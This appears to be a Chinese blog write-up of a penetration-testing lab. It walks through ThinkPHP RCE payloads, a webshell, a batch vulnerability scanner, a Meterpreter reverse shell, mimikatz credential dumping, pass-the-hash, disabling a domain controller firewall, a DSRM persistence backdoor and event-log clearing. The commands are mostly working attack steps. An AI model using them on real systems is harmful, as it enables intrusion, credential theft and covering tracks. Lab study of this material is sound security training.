<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一次簡單的內網滲透靶場實戰

    VSole2022-04-19 15:31:57

    環境搭建

    內網網段:192.168.138.0/24

    外網網段:192.168.10.0/24

    攻擊機:

    kali:192.168.10.11

    靶場:

    win7(內):192.168.138.136

    win7(外):192.168.10.25

    域內主機:

    Winserver2008:192.168.138.138

    其中win7可以外網、內網通信,域內主機只能內網之間進行通信

    web服務器滲透

    nmap探測端口

    nmap -T4 -sC -sV 192.168.10.25
    

    這里可以看到幾個主要的端口,例如80、135、139、445,這里首先就可以想到可以利用的點有ipc、smb

    開了80端口,嘗試訪問web地址,老笑臉人了,而且還是5.x版本,洞還是比較多

    為了確定具體版本,這里先使用報錯查看,發現這里的版本為5.0.22,如果沒記錯的話這里是有一個tp遠程命令執行漏洞的

    漏洞描述:由于thinkphp對框架中的核心Requests類的method方法提供了表單請求偽造,該功能利用$_POST['_method']來傳遞真實的請求方法。但由于框架沒有對參數進行驗證,導致攻擊者可以設置$_POST['_method']='__construct'而讓該類的變量被覆蓋。攻擊者利用該方式將filter變量覆蓋為system等函數名,當內部進行參數過濾時便會進行執行任意命令。

    thinkphp getshell

    這里我首先在kali里面找一下有沒有相關的漏洞

    searchsploit thinkphp
    

    可以看到這里有一個5.x遠程執行漏洞,這里直接進入這個文件夾查看一下txt列出來的payload

    cd /usr/share/exploitdb/exploits/php/webapps
    cat 46150.txt
    

    找到對應版本后fuzz以下payload,這個是列出數據庫名字,這里看到數據庫名為root

    192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username
    

    這個payload應該是列出數據庫密碼,但是這里沒有打出來

    192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password
    

    這里打出phpinfo

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

    傳參看一下當前權限為administrator

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    

    看一下ip情況,雙網卡,那么大概率有域環境

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig
    

    看一下進程,發現無殺軟那么嘗試不用免殺直接寫webshell

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc
    

    這里直接嘗試echo寫一個一句話木馬進去,這里因為之前查看過沒有殺軟跟安全狗,這里就不需要做免殺處理

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "$_POST[cmd]);?>" > connect.php
    

    這里用dir驗證一下是否寫入成功

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
    

    使用蟻劍連接成功

    thinkphp批量檢測

    這里我思考了一個問題,thinkphp的版本這么多,如果kali里面的漏洞庫沒有,而在搜索引擎上去搜索又太耗費時間,有沒有一個批量檢測thinkphp漏洞的腳本呢?

    這里我找到了一個thinkphp漏洞批量檢測的腳本

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    '''
    name: thinkphp遠程代碼檢測
    description: ThinkPHP5 5.0.22/5.1.29 遠程代碼執行漏洞
    '''
    import re
    import sys
    import requests
    import queue
    import threading
    from bs4 import BeautifulSoup
    class thinkphp_rce(threading.Thread):
        def __init__(self, q):
            threading.Thread.__init__(self)
            self.q = q
        def run(self):
            while not self.q.empty():
                url=self.q.get()
                headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
                payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
                vulnurl = url + payload
                try:
                    response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
                    
                    soup = BeautifulSoup(response.text,"lxml")
                    if 'PHP Version' in str(soup.text):
                        print ('[+] Remote code execution vulnerability exists at the target address')
                        print ('[+] Vulnerability url address ' + vulnurl)
                        with open('target.txt','a') as f1:
                            f1.write(vulnurl+'')
                        f1.close()
                    else:
                        print ('[-] There is no remote code execution vulnerability in the target address')
                except:
                    print ('[!] Destination address cannot be connected')
    def urlget():
        with open('url.txt','r')as f:
            urls=f.readlines()
            for tmp in urls:
                if '//' in tmp:
                    url=tmp.strip('')
                    urlList.append(url)
                else:
                    url='http://'+tmp.strip('')
                    urlList.append(url)
            return(urlList)
        f.close()
    if __name__=="__main__":
        print('''----------------掃描開始-------------------
    *Made by  :tdcoming
    *For More :https://t.zsxq.com/Ai2rj6E
    *MY Heart :https://t.zsxq.com/A2FQFMN
                  _______   _                         _               
                 |__   __| | |                       (_)              
                    | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                    | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                    | || (_| || (__| (_) || | | | | || || | | || (_| |
                    |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                                 __/ |
                                                                |___/ 
                ''')
        urlList=[]
        urlget()
        threads = []
        threads_count = 10
        q=queue.Queue()
        for url in urlList:
            q.put(url)
        for i in range(threads_count):
            threads.append(thinkphp_rce(q))
        for i in threads:
            i.start()
        for i in threads:
            i.join()
    

    這里的使用方法很簡單:將要檢測的目標放在url.txt里面,如果存在漏洞的地址將自動生成一個target.txt文本保存

    內網信息搜集

    這里使用蟻劍的命令窗口搜集一下本機信息,為administrator權限+雙網卡

    whoami
    ipconfig
    

    查看一下域相關信息

    net view
    net config workstation
    net user /domain
    

    內網滲透

    上線msf

    msf生成一個abc.exe

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe 
    

    使用蟻劍上傳到靶機上

    這里因為沒有殺軟不用做免殺,直接命令行執行即可

    msf開啟監聽即可上線

    信息搜集

    使用getsystem提權到system,這里因為是靶場的原因getsystem比較容易執行成功

    提權后獲取一個windows環境下的shell繼續對域進行信息搜集

    chcp 65001
    net user /domain
    net group "domain computers" /domain
    net group "domain controllers" /domain
    net group "domain admins" /domain
    

    靶機存在一個名為“sun”的域環境,只有一個域控,這里我直接ping一下域控得到域控ip為192.168.138.138

    獲取憑證

    這里因為有兩個網段就先把路由添加上方便后續操作

    # msf操作
    route add 192.168.138.0 255.255.255.0 2
    route print
        
    # session操作
    run autoroute -s 192.168.138.0/24
    run autoroute -p
    

    image-20210701154219665

    這里選擇session,使用kiwi來獲取靶機密碼,注意這里需要進行的一個操作為進程遷移,因為我們這里上線到msf的載荷是32位的(即x86),這里需要找一個64位的(即x64)進行進程遷移才能使用kiwi獲取靶機密碼

    sessions -i 2
    load kiwi
    kiwi_cmd privilege::debug
    ps
    migrate 1144
    kiwi_cmd sekurlsa::logonPasswords
    

    這里可以看到抓取到了一個域管的密碼為dc123.com和一個靶機的密碼123.com

    思路

    這里抓到了靶機和域管的密碼,那么這里就可以用pth的方法進行橫向移動,這是第一種方法;另外我們可以去檢測一下在另一個網段的機器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp進行橫向移動,這是第二種方法;因為我們之前在用nmap對端口進行掃描的時候是發現了139和445端口的,那么我們拿到了密碼的情況下可以嘗試使用ipc+計劃任務的方式進行橫向移動

    內網橫向移動

    MS17-010嘗試

    這里直接使用ms17-010的攻擊模塊進行嘗試,這里其實應該先用掃描模塊對處于另一網段的主機進行漏洞掃描,若存在永恒之藍漏洞才繼續使用exp模塊進行攻擊,這里我為了演示方便就直接上手exp模塊進行攻擊了

    這里攻擊可以看到,雖然靶機存在永恒之藍漏洞但是session反彈不成功,這里是因為在windows server2008的情況下匿名管道是默認不開啟的。

    我們知道psexec的原理就是使用了管道,ipc連接也同理。那么在匿名管帶不開啟的情況下永恒之藍的連接是建立不上的。這里再說一下匿名管道的概念:

    管道是IPC最基本的一種實現機制。我們都知道在Linux下“一切皆文件”,其實這里的管道就是一個文件。管道實現進程通信就是讓兩個進程都能訪問該文件。
    管道的特征:
    ①只提供單向通信,也就是說,兩個進程都能訪問這個文件,假設進程1往文件內寫東西,那么進程2 就只能讀取文件的內容。
    ②只能用于具有血緣關系的進程間通信,通常用于父子進程建通信
    ③管道是基于字節流來通信的
    ④依賴于文件系統,它的生命周期隨進程的結束結束(隨進程)
    ⑤其本身自帶同步互斥效果
    

    psexec嘗試

    因為我們已經拿到了域管的帳號那么我們這里就直接使用pth的方法,即哈希傳遞,使用的是psexec模塊,不過這個模塊因為被使用太多導致已經被殺軟列入了黑名單,如果這里有殺軟存在的情況下psexec橫向移動是會被攔截的。

    設置參數如下所示,這里注意一下SMBPass這個地方也能夠通過hash進行傳遞,也能夠通過明文密碼進行傳遞

    use exploit/windows/smb/psexec
    set rhost 192.168.138.138
    set SMBDomain SUN
    set SMBUser administrator
    set SMBPass dc123.com
    set payload windows/meterpreter/bind_tcp
    run
    

    這里可以看到exp已經利用了但是沒有session反彈回來,這里我猜測是以為防火墻阻止了端口流量的進出,所以這里我們就需要通過ipc連接去關閉域控的防火墻

    ipc連接關閉域控防火墻

    這里的常規方法是使用netsh關閉域控防火墻,但是這里需要域控的管理員權限,所以在這里我們就直接使用ipc連接域控然后使用計劃任務添加規則關閉防火墻

    netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow
    netsh advfirewall firewall delete rule name="f.exe" 
    

    將session掛在后臺并與域控建立ipc連接

    net use \\192.168.138.138\ipc$ dc123.com /user:administrator
    

    這里可以看到連接已經建立成功了

    利用sc創建計劃任務立即啟動關閉域控的防火墻

    sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    # 創建服務
    sc \\192.168.138.138 start unablefirewall    # 立即啟動服務
    

    這里可以看到防火墻已經被關閉了

    psexec嘗試*2

    這時候我們再使用psexec進行橫向移動就能夠獲得session,至此我們就拿到了域控的權限

    這里看一下我們直接拿到的就是一個system權限的session

    登錄遠程桌面

    這里我想登錄遠程桌面看看域控還有什么有價值的東西就可以使用socks代理正向進入內網

    使用socks_proxy模塊

    use auxiliary/server/socks_proxt
    set viersion 4a
    run
    

    這里還需要配置proxychain文件

    socks4 192.168.10.11 1080
    

    添加一個內網網段的路由

    run autoroute -s 192.168.138.0/24
    run autoroute -p
    

    然后使用proxychain命令即可登錄遠程桌面

    proxychain4 rdesktop 192.168.138.138
    

    登錄域控如圖所示

    權限維持

    權限維持的方法有很多種,這里我挑了一個使用得不是很多的方法來進行練習加以鞏固

    DSRM后門

    何為DSRM后門?

    DSRM是Windows域環境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬號(也就是DSRM賬號)。DSRM的用途是:允許管理員在域環境出現故障或崩潰時還原、修復、重建活動目錄數據庫,使域環境的運行恢復正常。在域環境創建初期,DSRM的密碼需要在安裝DC時設置,且很少會被重置。修改DSRM密碼最基本的方法是在DC上運行 ntdsutil 命令。
    在滲透測試中,可以使用DSRM賬號對域環境進行持久化操作。我們知道,每個DC都有本地管理員(administrator)賬號和密碼(與域管理員賬號密碼不同)。DSRM賬號可以作為每個域控制器的本地管理員用戶,通過網絡連接域控制器,進而控制域控制器。
    注意:該類持久化操作適用的服務器版本:Windows Server 2008及以后版本的Windows服務器。

    在域控制器上,DSRM賬號的表現形式是本地的管理員 Administrator 用戶,也就是說本地管理員 Administrator 用戶等于DSRM賬號。

    首先,為 DSRM 賬號設置新密碼。在域控制器(Windows 2008)的cmd中進入ntdsutil,然后輸入下面命令進行修改DSRM賬戶的密碼:

    ntdsutil    // 進入ntdsutil
    set dsrm password    // 設置DSRM賬戶的密碼
    reset password on server null    // 在當前域控制器上恢復DSRM密碼
        // 輸入新密碼
        // 重新輸入新密碼
    q    //退出DSRM密碼設置模式
    q    // 退出ntdsutil
    

    然后再使用kiwi抓取ntml hash

    然后,我們修改域控主機的DSRM賬戶登錄方式。在Windows Server 2000以后的版本操作系統中,對DSRM使用控制臺登錄域控制器進行了限制。我們可以在注冊表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior項進行設置,將該新建的項中的值設為0、1、2可以分別設置不同的DSRM賬戶登錄方式:

    0:默認值,只有當域控制器重啟并進入DSRM模式時,才可以使用DSRM管理員賬號
    1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登錄域控制器
    2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器

    如下所示,我們用powershell命令將DSRM的登錄方式設置為“2”,即在任何情況下,都可以使用DSRM管理員賬號登錄域控制器:

    New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD
    

    使用win7上的mimikatz進行hash傳遞即可獲取到域控權限

    privilege::Debug
    sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09
    

    日志清除

    日志清除有兩種方法,一種是使用kali里面自帶的命令進行日志清除

    run event_manager -i
    run event_manager -c
    

    第二種方法則是進入服務器管理器自行清除

    域控制器進程間通信
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    域內橫向移動
    2022-01-11 15:18:17
    利用域內橫向移動技術,訪問其他域內主機
    域內橫向移動技術就是在復雜的內網攻擊中被廣泛使用的一種技術,尤其是在高級持續威脅中。攻擊者會利用該技術,以被攻陷的系統為跳板,訪問其他 域內主機,擴大資產范圍(包括跳板機器中的文檔和存儲的憑證,以及通過跳板機器連接的數據庫、域控制器或其他重要資產)。
    很多人把這個原因歸結于KB2871997補丁,實際上不然,這個事情的成因實際是UAC在搗亂。RID為500的賬戶和屬于本地administrators組的域用戶在通過網絡遠程鏈接時,默認就是高權限令牌。
    如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos協議均存在PTH: NTLM自然不用多說 kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH
    IPC$ (Internet Process Connection) 是共享“命名管道”的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。IPC$是NT2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連接。
    內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。
    0x00 Preface內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。當然,概念是生澀難懂的,結合實際環境會有助于理解。實際上有很多優秀的集成化工具,很少會拆分開來單獨使用這些方法。當然,大多數情況下是要考慮免殺的,免殺時可能會將某一步操作拆分出來,單獨進行免殺和利用。
    0x00 Preface內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。當然,概念是生澀難懂的,結合實際環境會有助于理解。實際上有很多優秀的集成化工具,很少會拆分開來單獨使用這些方法。當然,大多數情況下是要考慮免殺的,免殺時可能會將某一步操作拆分出來,單獨進行免殺和利用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类